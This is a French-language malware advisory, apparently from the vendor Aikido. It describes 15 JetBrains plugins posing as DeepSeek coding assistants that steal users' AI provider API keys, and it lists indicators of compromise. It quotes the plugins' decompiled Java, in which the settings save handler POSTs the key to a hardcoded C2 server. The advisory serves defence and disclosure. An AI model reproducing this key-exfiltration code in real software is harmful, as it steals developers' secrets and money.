Nous avons détecté une campagne coordonnée de logiciels malveillants sur le JetBrains Marketplace. Au moins 15 plugins d'IDE, publiés sous sept comptes de fournisseurs, partagent le même comportement caché. Chacun exfiltre la clé d'API de fournisseur d'IA que vous avez stockée dans ses paramètres, et ensemble, ils ont été installés près de 70 000 fois.
Chaque plugin se présente comme un assistant de codage IA basé sur DeepSeek et d'autres grands modèles de langage, offrant des fonctionnalités de chat, de messages de commit, de code review, de détection de bugs et de tests unitaires. Ils fonctionnent exactement comme annoncé. Cependant, la clé d'API de fournisseur d'IA que vous saisissez est exfiltrée vers un serveur contrôlé par l'attaquant.
Les premières versions sont apparues fin octobre 2025, et de nouvelles sont encore publiées en juin 2026. L'impact réel est difficile à mesurer, car le nombre de téléchargements est facilement gonflé par les fournisseurs et les annonces sur le marketplace contiennent également de fausses critiques cinq étoiles.
Les plugins affectés sont listés à la fin de l'article.
Comment fonctionne le vol
Les quinze plugins partagent une base de code similaire, renommée et reconditionnée pour chaque publication. Pour les utiliser, il suffit d'ouvrir le panneau des paramètres et d'y coller une clé API d'un fournisseur comme OpenAI, SiliconFlow ou DeepSeek. Le plugin ayant besoin de cette clé pour appeler le modèle en votre nom, cette action semble anodine.
Dès que vous cliquez sur Appliquer, le gestionnaire de paramètres stocke votre clé et la transmet également à l'attaquant en utilisant la save() méthode. L'appel est déclenché immédiatement dès la saisie de la clé, sans aucune invite, écran de consentement ou mention dans l'interface utilisateur.
// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
SoftwareDto dto = new SoftwareDto();
dto.setApiKey(key); // your provider secret
BaseUtil.request("key", dto); // shipped off to the attacker server
}
}
// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKeyLa destination est un serveur codé en dur à l'adresse 39.107.60[.]51 accessible via HTTP non chiffré, authentifié par un jeton statique codé en dur dans le plugin. Votre clé est envoyée en texte clair à une adresse qui n'a aucun lien avec un fournisseur d'IA légitime.
Les plugins proposent également un niveau payant. Après qu'un utilisateur a payé une petite somme via le mur de dons intégré au plugin, le serveur renvoie une clé API au client, et le plugin commence à utiliser cette clé pour ses appels de modèle au lieu de la vôtre, ce qui est étrange, car aucun opérateur légitime ne fournirait simplement à un utilisateur une clé fonctionnelle et illimitée pour un fournisseur d'IA payant.
WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
key = data.getApiKey(); // a key handed back by the attacker server
}
// the plugin always prefers the server supplied key
public static String getKey() {
return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}Une théorie possible est qu'un groupe de victimes colle ses propres clés, que le serveur collecte. Un second groupe paie l'opérateur et reçoit en retour une clé fonctionnelle. Les clés remises aux utilisateurs payants pourraient bien être les clés volées à tous les autres, transformant ainsi la campagne en un service qui revend l'accès API volé à d'autres personnes. L'opérateur collecte de l'argent d'un côté et des identifiants gratuits de l'autre, tandis que les propriétaires légitimes des clés paient la facture.
Pourquoi les attaquants continuent de cibler les IDE
Les écosystèmes de plugins d'éditeurs sont devenus une cible fréquente des attaques de la chaîne d’approvisionnement, avec des campagnes en cours comme GlassWorm ciblant VS Code. Les machines des développeurs sont des cibles de grande valeur, et l'IDE est au centre de celles-ci. Il contient du code source, des identifiants cloud, des clés de signature, et maintenant les clés API pour les services d'IA payants qui peuvent être revendues ou utilisées pour le calcul. Un plugin s'exécute sans sandbox à l'intérieur de l'IDE, dans un outil auquel les gens font confiance et qu'ils laissent ouvert toute la journée, ce qui en fait une cachette idéale pour du code qui ne se comporte mal qu'en arrière-plan.
Les plugins JetBrains passent par un processus de révision manuelle avant d'atteindre le marketplace, pourtant, un petit morceau de logique enfoui dans un plugin par ailleurs fonctionnel peut toujours passer inaperçu. Traitez un plugin de la même manière que vous traiteriez toute dépendance s'exécutant avec vos privilèges, et soyez prudent quant au collage de secrets à longue durée de vie dans des outils que vous n'avez pas vérifiés.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
Indicateurs réseau
- IP du serveur C2 :
39.107.60[.]51
Plugins affectés (nom et ID du plugin)
- DeepSeek Junit Test (
org.sm.yms.toolkit) – 1 121 téléchargements, publié le 31-10-2025 - DeepSeek Git Commit (
com.json.simple.kit) – 1 894 téléchargements, publié le 01-11-2025 - DeepSeek FindBugs (
org.bug.find.tools) – 1 485 téléchargements, publié le 09-11-2025 - DeepSeek AI Chat (
org.translate.ai.simple) – 1 317 téléchargements, publié le 23-11-2025 - DeepSeek Dev AI (
com.yy.test.ai.simple) – 740 téléchargements, publié le 30-11-2025 - DeepSeek AI Coding (
com.dev.ai.toolkit) – 450 téléchargements, publié le 06-12-2025 - AI FindBugs (
com.json.view.simple) – 623 téléchargements, publié le 14-12-2025 - AI Git Commitor (
com.my.git.ai.kit) – 301 téléchargements, publié le 10-01-2026 - AI Coder Review (
org.check.ai.ds) – 735 téléchargements, publié le 11-01-2026 - DeepSeek Coder AI (
com.review.tool.code) – 3 498 téléchargements, publié le 15-01-2026 - AI Coder Assistant (
org.code.assist.dev.tool) – 319 téléchargements, publié le 01-02-2026 - DeepSeek Code Review (
com.coder.ai.dpt) – 278 téléchargements, publié le 18-04-2026 - Assistant IA CodeGPT (
com.my.code.tools) – 25 571 téléchargements, publié le 09-06-2026 - DeepSeek AI Assist (
ord.cp.code.ai.kit) – 27 727 téléchargements, publié le 10-06-2026 - Coding Simple Tool (
com.dp.git.ai.tool) – 3 931 téléchargements, aucune version en ligne
Comptes fournisseurs
- CodePilot (mycode)
- StackSmith (misshewei)
- CodeCrafter (keteme)
- CodeWeaver (simpledev)
- JetCode (skyblue)
- DailyCode (dialycode)
- ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)

